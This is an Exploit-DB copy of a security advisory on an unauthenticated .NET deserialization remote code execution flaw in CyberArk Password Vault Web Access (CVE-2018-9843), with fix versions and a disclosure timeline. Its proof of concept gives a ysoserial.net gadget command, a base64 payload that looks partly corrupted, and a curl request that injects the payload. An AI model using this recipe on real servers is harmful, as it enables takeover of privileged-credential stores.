

CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1

CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - RedTeam Pentesting, @ExploitDB, Exploit Database.

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Content

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CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution - JSON webapps Exploit

CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution

EDB-ID:

44429

CVE:

2018-9843

Author:

RedTeam Pentesting

Type:

webapps

Platform:

JSON

Date:

2018-04-09

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Advisory: CyberArk Password Vault Web Access Remote Code Execution

The CyberArk Password Vault Web Access application uses authentication tokens which consist of serialized .NET objects. By crafting manipulated tokens, attackers are able to gain unauthenticated remote code execution on the web server.

Details

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Product: CyberArk Password Vault Web Access

Affected Versions: < 9.9.5, < 9.10, 10.1

Fixed Versions: 9.9.5, 9.10, 10.2

Vulnerability Type: Remote Code Execution

Security Risk: high

Vendor URL: <https://www.cyberark.com/>

Vendor Status: fixed version released

Advisory URL: <https://www.redteam-pentesting.de/advisories/rt-sa-2017-014>

Advisory Status: published

CVE: CVE-2018-9843

CVE URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9843>

Introduction

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"CyberArk Enterprise Password Vault is designed to secure, rotate and control access to privileged account credentials based on organizational policies. A flexible architecture allows organizations to start small and scale to the largest, most complex IT environments. The solution protects privileged account credentials used to access the vast majority of systems."

(from the Enterprise Password Vault Data Sheet [1])

More Details

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The CyberArk Password Vault provides secure storage for credentials. It may be accessed through various clients which are also provided by CyberArk. One such client is the CyberArk Password Vault Web Access, a .NET web application. After logging into the web application with their credentials, users may access credentials kept in the vault. Additionally, CyberArk Password Vault Web Access provides a REST API for programmatic access to the vault. This API is available at an URL similar to the following:

`https://10.0.0.6/PasswordVault/WebServices/`

The API provides multiple endpoints with different methods. Most methods provided by the API require prior authentication. Consequently, a user's API call must include an authentication token in an HTTP authorization header. Tokens may be generated by calling a dedicated "Logon" API method.

Analysis of **this** token by RedTeam Pentesting revealed, that it consists of a base64 encoded, serialized .NET object of the type `"CyberArk.Services.Web.SessionIdentifiers"`. **This class** consists of four **string** attributes which hold information about a user's session. The integrity of the serialized data is not **protected**. Therefore, attackers may send arbitrary .NET objects to the API in the authorization header. By leveraging certain gadgets, such as the ones provided by ysoserial.net [2], attackers may execute arbitrary code in the context of the web application.

Proof of Concept

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First, a malicious serialized .NET object is created. Here the `"TypeConfuseDelegat` gadget of ysoserial.net is used to execute the `"ping"` command:

```
$ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
-c "ping 10.0.0.19" > execute-ping.txt
```

```
$ cat execute-ping.txt
```

AEEAAAD/////AQAAAAAAAAAAMAgAAAEfTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCMwgQ3VsdHVy
ZTluZXV0cmFsLCBQdWJsawNLZXlUb2tlbj1iNzdhNWm1NjE5MzRlMDg5BQEAAACEAVN5c3Rl
bS5Db2xsZWN0aw9ucy5HZW5lcmljLlNvcnRlZFnl dGAXw1tTeXN0ZW0uU3RyaW5nLCBtc2Nu
cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu
PWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwAD
AAYIjQFTeXN0ZW0uQ29sbGVjdGlbnMuR2VuZXJpYy5Db2lwYXJpc29uQ29tcGFyZXJgMVtb
U3lzdGVtLlN0cmLuZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCMwgQ3VsdHVyZTluZXV0
cmFsLCBQdWJsawNLZXlUb2tlbj1iNzdhNWm1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwwAAAAIA
AAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlbnMuR2VuZXJpYy5Db2lwYXJpc29uQ29t
cGFyZXJgMVtbU3lzdGVtLlN0cmLuZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCMwgQ3Vs
dHVyZTluZXV0cmFsLCBQdWJsawNLZXlUb2tlbj1iNzdhNWm1NjE5MzRlMDg5XV0BAAAAAC19j
b2lwYXJpc29uAyJTeXN0ZW0uRGVsZWhhdGVtZXJpYXpewF0aw9uSG9sZGVyCQUAAAAARBAAB
AAIAAAAGBgAAABEvYyBwaW5nIDEwLjAuMC4xOQYHAAAAAAN2tZAQFAAAAIln5c3RlbS5EZWxl

```
Z2F0ZVNlcm1hbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMD
AzBTeXN0ZW0uRGVsZWdhdGVtZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lz
dGVtLlJlZmxlY3Rpb24uTWVtYmVYSW5mb1Nlcm1hbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJl
ZmxlY3Rpb24uTWVtYmVYSW5mb1Nlcm1hbGl6YXRpb25Ib2xkZXIJCAAAAkAAAAACQoAAAAE
CAAADBTeXN0ZW0uRGVsZWdhdGVtZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkH
AAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXB1
TmFtZQptZXRob2R0YW1ldWRlbgVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl
cm1hbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAsAJTeXN0ZW0uRnVuY2AzW1tT
eXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lrbj00LjAuMC4wLCBDDWx0dXJlPW5ldXRy
YWwsIFB1YmXpY0tleVRva2VuPWl3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBt
c2NvcmxpYiwgVmVyc2lrbj00LjAuMC4wLCBDDWx0dXJlPW5ldXRyYWwsIFB1YmXpY0tleVRv
a2VuPWl3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRG1hZ25vc3RyY3MuUHJvY2VzcywgU3lzdGVt
LCBWXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmVldHJhbCwgUHVibGljS2V5VG9rZW49
Yjc3YTVjNTYxOTM0ZTA4OVldBgwAAABLBXNjb3JsaWIsIFZlcnpb249NC4wLjAuMCAwQ3Vs
dHVyZT1uZXV0cmFsLCBQdWJsaWNlZXl1b2t1bj1iNzdhNWM1NjE5MzRlMDg5CgYNAASVNS
c3RlbSwgVmVyc2lrbj00LjAuMC4wLCBDDWx0dXJlPW5ldXRyYWwsIFB1YmXpY0tleVRva2Vu
PWl3N2E1YzU2MTkzNGUwODkGdGAAABPTeXN0ZW0uRG1hZ25vc3RyY3MuUHJvY2VzcwYPAASV
BVN0YXJ0CRAAAAECAAAAC9TeXN0ZW0uUmVmbGVjdGlvi5NZW1iZXJJbmZvU2VyaWZsaXph
dGlvbkhvbGRlcGcAAAEtMftZQxBc3NlbWJseU5hbWUJQ2xhc3N0YW1lCVNpZ25hdHVyZQpT
aWduYXR1cmUyCk1lbWJlc1R5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5U
eXB1W10JdWAAAAkNAAAACQ4AAAAGFAAAD5TeXN0ZW0uRG1hZ25vc3RyY3MuUHJvY2VzcyBT
dGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPLN5c3RlbS5EaWFnbm9z
dGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAoB
CgAAAAkAAAAAGFgAAAdDb2lwYXJlCQwAAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAARSW50
MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYAAAAAMLN5c3RlbS5J
bnQzM1BDb2lwYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAoBEAAAAAGA
AAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbAxlTTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwg
VmVyc2lrbj00LjAuMC4wLCBDDWx0dXJlPW5ldXRyYWwsIFB1YmXpY0tleVRva2VuPWl3N2E1
YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
```

Next, an API call is invoked which includes the malicious .NET object in its authorization header. [This](#) is done with cURL [3] as follows:

```
$ curl -s -X GET -k \
  --url 'https://10.0.0.6/PasswordVault/WebServices/PIMServices.svc/' \
  --header "authorization: $(cat execute-ping.txt)" \
  --header 'content-type: application/json'
```

Simultaneously, tcpdump [4] is invoked on the host 10.0.0.19 to listen for ICMP packets originating from the web server:

```
-----  
$ sudo tcpdump -i enp0s25 icmp  
tcpdump: verbose output suppressed[...]  
listening on enp0s25[...]  
  
IP 10.0.0.6 > 10.0.0.19: ICMP echo request, id 1, seq 6, length 40  
IP 10.0.0.19 > 10.0.0.6: ICMP echo reply, id 1, seq 6, length 40  
-----
```

The fact that ICMP packets are received **from** the web server, indicates that attacker-controlled code was executed.

Workaround

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Disable any access to the API at the route /PasswordVault/WebServices.

Fix

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Upgrade CyberArk Password Vault Web Access to version 9.9.5, 9.10 or 10.2.

Security Risk

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The risk of **this** vulnerability is rated as high. Attackers with access to the PrivateArk Vault Web Access REST API may execute arbitrary code on the web server. No credentials are required. Attackers gain access to the system with the privileges of the web application. Consequently, such access may be used to backdoor the web application and compromise further accounts and credentials. Additionally, attackers may pivot **from** the web server to attack the vault directly.

Timeline

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2017-11-24 Vulnerability identified
2018-01-22 Customer approved disclosure to vendor
2018-02-05 Vendor notified
2018-02-28 Vendor released fixed version
2018-04-06 CVE number requested
2018-04-07 CVE number assigned

2018-04-09 Advisory released

References

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- [1] <http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf>
- [2] <https://github.com/pwntester/ysoserial.net>
- [3] <https://curl.haxx.se/>
- [4] <https://www.tcpdump.org/>

RedTeam Pentesting GmbH

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RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in **this** field, RedTeam Pentesting wants to share its knowledge and enhance the **public** knowledge with research in security-related areas. The results are made available as **public** security advisories.

More information about RedTeam Pentesting can be found at:
<https://www.redteam-pentesting.de/>

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<https://www.redteam-pentesting.de/jobs/>

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